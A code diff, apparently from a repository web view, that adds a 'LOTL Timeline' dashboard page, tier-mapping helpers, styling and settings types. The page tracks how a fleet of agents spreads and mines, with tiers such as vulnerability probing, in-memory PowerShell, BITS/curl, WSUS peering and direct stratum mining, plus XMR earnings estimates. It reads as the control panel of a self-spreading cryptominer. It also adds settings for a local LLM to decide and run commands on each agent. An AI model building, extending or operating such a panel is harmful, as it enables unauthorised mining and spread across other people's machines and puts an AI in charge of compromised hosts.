||||||
|
font-size: 0.74rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-detail-title {
|
||||||
|
color: #ffb070;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
font-size: 0.68rem;
|
||||||
|
margin-bottom: 0.35rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-detail-row {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.35rem 0.75rem;
|
||||||
|
margin-bottom: 0.25rem;
|
||||||
|
color: #ddd;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-detail-tag {
|
||||||
|
font-size: 0.62rem;
|
||||||
|
padding: 1px 6px;
|
||||||
|
border-radius: 3px;
|
||||||
|
background: rgba(255, 140, 58, 0.12);
|
||||||
|
border: 1px solid rgba(255, 140, 58, 0.25);
|
||||||
|
color: #ffaa66;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-detail-err {
|
||||||
|
color: #ffaa88;
|
||||||
|
font-size: 0.68rem;
|
||||||
|
margin-top: 0.25rem;
|
||||||
|
word-break: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-ai-decision {
|
||||||
|
margin-top: 0.85rem;
|
||||||
|
padding: 0.55rem 0.75rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid rgba(0, 232, 245, 0.2);
|
||||||
|
background: rgba(0, 40, 50, 0.25);
|
||||||
|
font-size: 0.72rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-ai-decision-label {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.62rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
margin-bottom: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-timeline-links {
|
||||||
|
margin-top: 0.85rem;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-timeline-links a {
|
||||||
|
color: rgba(255, 170, 100, 0.9);
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-timeline-links a:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-timeline-empty {
|
||||||
|
padding: 2rem;
|
||||||
|
text-align: center;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 720px) {
|
||||||
|
.lotl-tier-track {
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: stretch;
|
||||||
|
overflow-x: visible;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step {
|
||||||
|
flex-direction: row;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.65rem;
|
||||||
|
min-width: 100%;
|
||||||
|
max-width: none;
|
||||||
|
padding: 0.35rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step:not(:last-child)::after {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-label {
|
||||||
|
margin-top: 0;
|
||||||
|
text-align: left;
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -923,5 +923,6 @@ describe('Layout', () => {
|
|||||||
});
|
});
|
||||||
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
|
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
|
||||||
expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
|
expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
|
||||||
|
expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
133
server/web/src/help/lotlTimeline.ts
Normal file
133
server/web/src/help/lotlTimeline.ts
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||||
|
import type { Agent } from '../types';
|
||||||
|
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
|
||||||
|
|
||||||
|
/** Per-tier state for the live onion timeline UI. */
|
||||||
|
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped';
|
||||||
|
|
||||||
|
export interface LotlTimelineTierRow {
|
||||||
|
index: number;
|
||||||
|
tier: string;
|
||||||
|
label: string;
|
||||||
|
hint: string;
|
||||||
|
state: LotlTimelineTierState;
|
||||||
|
attempt?: TierAttempt;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface LotlTimelineModel {
|
||||||
|
tiers: LotlTimelineTierRow[];
|
||||||
|
total: number;
|
||||||
|
succeeded: number;
|
||||||
|
activeTier?: string;
|
||||||
|
tryingTier?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Map attempt tier ids to spread onion tier ids (case-insensitive). */
|
||||||
|
const TIER_ALIASES: Record<string, string> = {
|
||||||
|
container: 'docker',
|
||||||
|
docker_load: 'docker',
|
||||||
|
vuln_probe: 'vuln_recon',
|
||||||
|
kev_scan: 'vuln_recon',
|
||||||
|
service_probe: 'vuln_recon',
|
||||||
|
ps_memory: 'powershell',
|
||||||
|
ps_inmemory: 'powershell',
|
||||||
|
bits: 'bits_curl',
|
||||||
|
curl: 'bits_curl',
|
||||||
|
wsus: 'wsus_cache_peer',
|
||||||
|
wsus_cache: 'wsus_cache_peer',
|
||||||
|
webrtc: 'webrtc_mesh',
|
||||||
|
mesh: 'webrtc_mesh',
|
||||||
|
exe_subprocess: 'powershell',
|
||||||
|
cpu_inprocess: 'dotnet',
|
||||||
|
gpu_subprocess: 'dotnet',
|
||||||
|
stratum_direct: 'dotnet',
|
||||||
|
};
|
||||||
|
|
||||||
|
function normalizeTierKey(tier: string): string {
|
||||||
|
return tier.trim().toLowerCase().replace(/[\s-]+/g, '_');
|
||||||
|
}
|
||||||
|
|
||||||
|
function canonicalSpreadTier(tier: string): string {
|
||||||
|
const key = normalizeTierKey(tier);
|
||||||
|
return TIER_ALIASES[key] ?? key;
|
||||||
|
}
|
||||||
|
|
||||||
|
function tierDocHint(tier: string): string {
|
||||||
|
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||||
|
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.hint ?? '';
|
||||||
|
}
|
||||||
|
|
||||||
|
function tierLabel(tier: string): string {
|
||||||
|
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||||
|
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
|
||||||
|
}
|
||||||
|
|
||||||
|
function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAttempt | undefined {
|
||||||
|
const target = canonicalSpreadTier(spreadTier);
|
||||||
|
for (let i = attempts.length - 1; i >= 0; i--) {
|
||||||
|
if (canonicalSpreadTier(attempts[i].tier) === target) return attempts[i];
|
||||||
|
}
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function resolveLotlTierOrder(policyTiers?: string[]): string[] {
|
||||||
|
if (policyTiers?.length) return [...policyTiers];
|
||||||
|
return [...DEFAULT_LOTL_ONION_TIERS];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function buildLotlTimelineModel(
|
||||||
|
agent: Agent,
|
||||||
|
order: string[],
|
||||||
|
attempts: TierAttempt[],
|
||||||
|
skipped: string[] = [],
|
||||||
|
): LotlTimelineModel {
|
||||||
|
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
|
||||||
|
const activeTier = agent.lotl_tier?.trim() || undefined;
|
||||||
|
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
|
||||||
|
const online = agent.status === 'online';
|
||||||
|
|
||||||
|
let tryingTier: string | undefined;
|
||||||
|
if (online && activeCanon) {
|
||||||
|
const last = lastAttemptForTier(attempts, activeCanon);
|
||||||
|
if (!last?.ok) tryingTier = activeCanon;
|
||||||
|
}
|
||||||
|
|
||||||
|
const tiers: LotlTimelineTierRow[] = order.map((tier, i) => {
|
||||||
|
const key = canonicalSpreadTier(tier);
|
||||||
|
const attempt = lastAttemptForTier(attempts, tier);
|
||||||
|
let state: LotlTimelineTierState = 'pending';
|
||||||
|
|
||||||
|
if (skippedSet.has(key)) {
|
||||||
|
state = 'skipped';
|
||||||
|
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
|
||||||
|
state = 'trying';
|
||||||
|
} else if (attempt?.ok) {
|
||||||
|
state = 'success';
|
||||||
|
} else if (attempt && !attempt.ok) {
|
||||||
|
state = 'failed';
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
index: i + 1,
|
||||||
|
tier,
|
||||||
|
label: tierLabel(tier),
|
||||||
|
hint: tierDocHint(tier),
|
||||||
|
state,
|
||||||
|
attempt,
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
const succeeded = tiers.filter((t) => t.state === 'success').length;
|
||||||
|
|
||||||
|
return {
|
||||||
|
tiers,
|
||||||
|
total: order.length,
|
||||||
|
succeeded,
|
||||||
|
activeTier,
|
||||||
|
tryingTier,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export function lotlTimelineProgressLabel(model: LotlTimelineModel): string {
|
||||||
|
return `${model.succeeded}/${model.total}`;
|
||||||
|
}
|
||||||
@@ -83,6 +83,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
|
|||||||
gridDrift: 38,
|
gridDrift: 38,
|
||||||
palette: 'default',
|
palette: 'default',
|
||||||
},
|
},
|
||||||
|
'/lotl-timeline': {
|
||||||
|
vibe: 'crucible-embers',
|
||||||
|
intensity: 0.82,
|
||||||
|
speed: 0.38,
|
||||||
|
pulse: 0.72,
|
||||||
|
density: 0.88,
|
||||||
|
linkStrength: 0.5,
|
||||||
|
layerOpacity: 0.52,
|
||||||
|
orbDrift: 18,
|
||||||
|
gridDrift: 64,
|
||||||
|
palette: 'crucible',
|
||||||
|
},
|
||||||
|
'/onion': {
|
||||||
|
vibe: 'crucible-embers',
|
||||||
|
intensity: 0.82,
|
||||||
|
speed: 0.38,
|
||||||
|
pulse: 0.72,
|
||||||
|
density: 0.88,
|
||||||
|
linkStrength: 0.5,
|
||||||
|
layerOpacity: 0.52,
|
||||||
|
orbDrift: 18,
|
||||||
|
gridDrift: 64,
|
||||||
|
palette: 'crucible',
|
||||||
|
},
|
||||||
'/crucible': {
|
'/crucible': {
|
||||||
vibe: 'crucible-embers',
|
vibe: 'crucible-embers',
|
||||||
intensity: 0.75,
|
intensity: 0.75,
|
||||||
|
|||||||
162
server/web/src/pages/LotlTimelinePage.tsx
Normal file
162
server/web/src/pages/LotlTimelinePage.tsx
Normal file
@@ -0,0 +1,162 @@
|
|||||||
|
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||||
|
import { Link, useSearchParams } from 'react-router-dom';
|
||||||
|
import { api } from '../api/client';
|
||||||
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
|
import {
|
||||||
|
buildLotlTimelineModel,
|
||||||
|
resolveLotlTierOrder,
|
||||||
|
} from '../help/lotlTimeline';
|
||||||
|
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
|
||||||
|
import type { AIDecisionRecord } from '../types';
|
||||||
|
import LotlFleetOverview from '../components/Lotl/LotlFleetOverview';
|
||||||
|
import LotlTierTimeline from '../components/Lotl/LotlTierTimeline';
|
||||||
|
import { HelpTip } from '../components/HelpTip';
|
||||||
|
import '../components/Lotl/LotlTimeline.css';
|
||||||
|
import './Pages.css';
|
||||||
|
|
||||||
|
export default function LotlTimelinePage() {
|
||||||
|
const { agents } = useWebSocket();
|
||||||
|
const [searchParams, setSearchParams] = useSearchParams();
|
||||||
|
const [tierOrder, setTierOrder] = useState<string[]>(() => resolveLotlTierOrder());
|
||||||
|
const [aiControlEnabled, setAiControlEnabled] = useState(false);
|
||||||
|
const [lastDecision, setLastDecision] = useState<{ response?: string; commands?: string; ts?: string } | null>(null);
|
||||||
|
|
||||||
|
const paramAgentId = searchParams.get('agent') ?? '';
|
||||||
|
|
||||||
|
const onlineAgents = useMemo(() => agents.filter((a) => a.status === 'online'), [agents]);
|
||||||
|
|
||||||
|
const selectedAgent = useMemo(() => {
|
||||||
|
if (paramAgentId) {
|
||||||
|
const found = agents.find((a) => a.id === paramAgentId);
|
||||||
|
if (found) return found;
|
||||||
|
}
|
||||||
|
return onlineAgents[0] ?? agents[0] ?? null;
|
||||||
|
}, [agents, onlineAgents, paramAgentId]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
api
|
||||||
|
.getConfig()
|
||||||
|
.then((cfg) => {
|
||||||
|
const policy = parseAccessDepthServerPolicy(cfg);
|
||||||
|
setTierOrder(resolveLotlTierOrder(policy.lotl_onion_tiers));
|
||||||
|
setAiControlEnabled(cfg.server?.ai_control_enabled === true);
|
||||||
|
})
|
||||||
|
.catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!selectedAgent || !aiControlEnabled) {
|
||||||
|
setLastDecision(null);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let cancelled = false;
|
||||||
|
api
|
||||||
|
.getAIDecisions(selectedAgent.id, 1)
|
||||||
|
.then((rows: AIDecisionRecord[]) => {
|
||||||
|
if (cancelled) return;
|
||||||
|
const row = rows[0];
|
||||||
|
if (row) {
|
||||||
|
setLastDecision({
|
||||||
|
response: row.response,
|
||||||
|
commands: row.commands_executed,
|
||||||
|
ts: row.ts,
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
setLastDecision(null);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(() => {
|
||||||
|
if (!cancelled) setLastDecision(null);
|
||||||
|
});
|
||||||
|
return () => {
|
||||||
|
cancelled = true;
|
||||||
|
};
|
||||||
|
}, [selectedAgent, aiControlEnabled]);
|
||||||
|
|
||||||
|
const selectAgent = useCallback(
|
||||||
|
(agentId: string) => {
|
||||||
|
setSearchParams({ agent: agentId }, { replace: true });
|
||||||
|
},
|
||||||
|
[setSearchParams],
|
||||||
|
);
|
||||||
|
|
||||||
|
const aiEnabled = aiControlEnabled;
|
||||||
|
|
||||||
|
const timelineModel = useMemo(() => {
|
||||||
|
if (!selectedAgent) return null;
|
||||||
|
return buildLotlTimelineModel(
|
||||||
|
selectedAgent,
|
||||||
|
tierOrder,
|
||||||
|
selectedAgent.lotl_attempts ?? [],
|
||||||
|
);
|
||||||
|
}, [selectedAgent, tierOrder]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="page lotl-timeline-page">
|
||||||
|
<header className="page-header">
|
||||||
|
<div>
|
||||||
|
<h1 className="font-tech">LOTL Timeline</h1>
|
||||||
|
<p style={{ fontSize: '0.8rem', color: 'var(--text-muted)', marginTop: '0.25rem' }}>
|
||||||
|
Live spread + mining tier progression — triple onion chain{' '}
|
||||||
|
<HelpTip field="crucible_access_depth" />
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{selectedAgent && (
|
||||||
|
<Link
|
||||||
|
to={`/crucible?agent=${encodeURIComponent(selectedAgent.id)}`}
|
||||||
|
className="btn btn-outline btn-sm"
|
||||||
|
>
|
||||||
|
Open in Crucible
|
||||||
|
</Link>
|
||||||
|
)}
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<LotlFleetOverview
|
||||||
|
agents={agents}
|
||||||
|
selectedId={selectedAgent?.id}
|
||||||
|
tierOrder={tierOrder}
|
||||||
|
onSelect={selectAgent}
|
||||||
|
/>
|
||||||
|
|
||||||
|
{!selectedAgent ? (
|
||||||
|
<div className="lotl-timeline-empty">
|
||||||
|
No agents in fleet yet. Forge a worker and connect to see tier progression.
|
||||||
|
</div>
|
||||||
|
) : timelineModel ? (
|
||||||
|
<>
|
||||||
|
<LotlTierTimeline model={timelineModel} agentName={selectedAgent.name} />
|
||||||
|
|
||||||
|
{aiEnabled && lastDecision && (
|
||||||
|
<div className="lotl-ai-decision">
|
||||||
|
<div className="lotl-ai-decision-label">LAST AI DECISION</div>
|
||||||
|
{lastDecision.response && (
|
||||||
|
<div style={{ color: 'var(--text-muted)' }}>{lastDecision.response}</div>
|
||||||
|
)}
|
||||||
|
{lastDecision.commands && (
|
||||||
|
<div style={{ marginTop: '0.25rem', fontSize: '0.68rem', color: '#7dffaa' }}>
|
||||||
|
{lastDecision.commands}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{lastDecision.ts && (
|
||||||
|
<div style={{ marginTop: '0.25rem', fontSize: '0.65rem', color: 'var(--text-muted)' }}>
|
||||||
|
{new Date(lastDecision.ts).toLocaleString()}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<p className="lotl-timeline-links">
|
||||||
|
Data sources: Crucible →{' '}
|
||||||
|
<Link to={`/crucible?agent=${encodeURIComponent(selectedAgent.id)}`}>Access Depth panel</Link>
|
||||||
|
{' · '}
|
||||||
|
<Link to="/settings">Calibrate lotl_onion_tiers</Link>
|
||||||
|
{' · '}
|
||||||
|
<a href="/docs/SPREAD_TECHNIQUES.html#lotl-onion" target="_blank" rel="noopener noreferrer">
|
||||||
|
spread tier wiki
|
||||||
|
</a>
|
||||||
|
</p>
|
||||||
|
</>
|
||||||
|
) : null}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -297,6 +297,18 @@ export interface ServerSettings {
|
|||||||
public_builds_latest_n?: number;
|
public_builds_latest_n?: number;
|
||||||
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
|
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
|
||||||
lotl_onion_tiers?: string[];
|
lotl_onion_tiers?: string[];
|
||||||
|
/** Fleet adaptive strategy learns mining tier order from fleet stats (logic-gate mode). */
|
||||||
|
adaptive_strategy_enabled?: boolean;
|
||||||
|
/** When true, Calibrate uses local LLM fleet control instead of logic gates. */
|
||||||
|
ai_control_enabled?: boolean;
|
||||||
|
/** OpenAI-compatible or Ollama base URL on the control PC. */
|
||||||
|
ai_local_endpoint?: string;
|
||||||
|
/** LLM model name for fleet AI control. */
|
||||||
|
ai_model?: string;
|
||||||
|
/** Stateless per-cycle decisions — no conversation memory. */
|
||||||
|
ai_no_context?: boolean;
|
||||||
|
/** Seconds between AI decision cycles per agent. */
|
||||||
|
ai_interval_sec?: number;
|
||||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||||
triple_onion_policy?: {
|
triple_onion_policy?: {
|
||||||
patch_first?: boolean;
|
patch_first?: boolean;
|
||||||
@@ -420,6 +432,16 @@ export interface AIActivityEntry {
|
|||||||
last_success?: boolean;
|
last_success?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Fleet AI Control decision audit row — GET /api/v1/ai/decisions */
|
||||||
|
export interface AIDecisionRecord {
|
||||||
|
id: number;
|
||||||
|
agent_id: string;
|
||||||
|
prompt_hash?: string;
|
||||||
|
response?: string;
|
||||||
|
commands_executed?: string;
|
||||||
|
ts?: string;
|
||||||
|
}
|
||||||
|
|
||||||
export interface EarningsEstimate {
|
export interface EarningsEstimate {
|
||||||
hashrate: number;
|
hashrate: number;
|
||||||
xmr_per_day: number;
|
xmr_per_day: number;
|
||||||
|
|||||||
Reference in New Issue
Block a user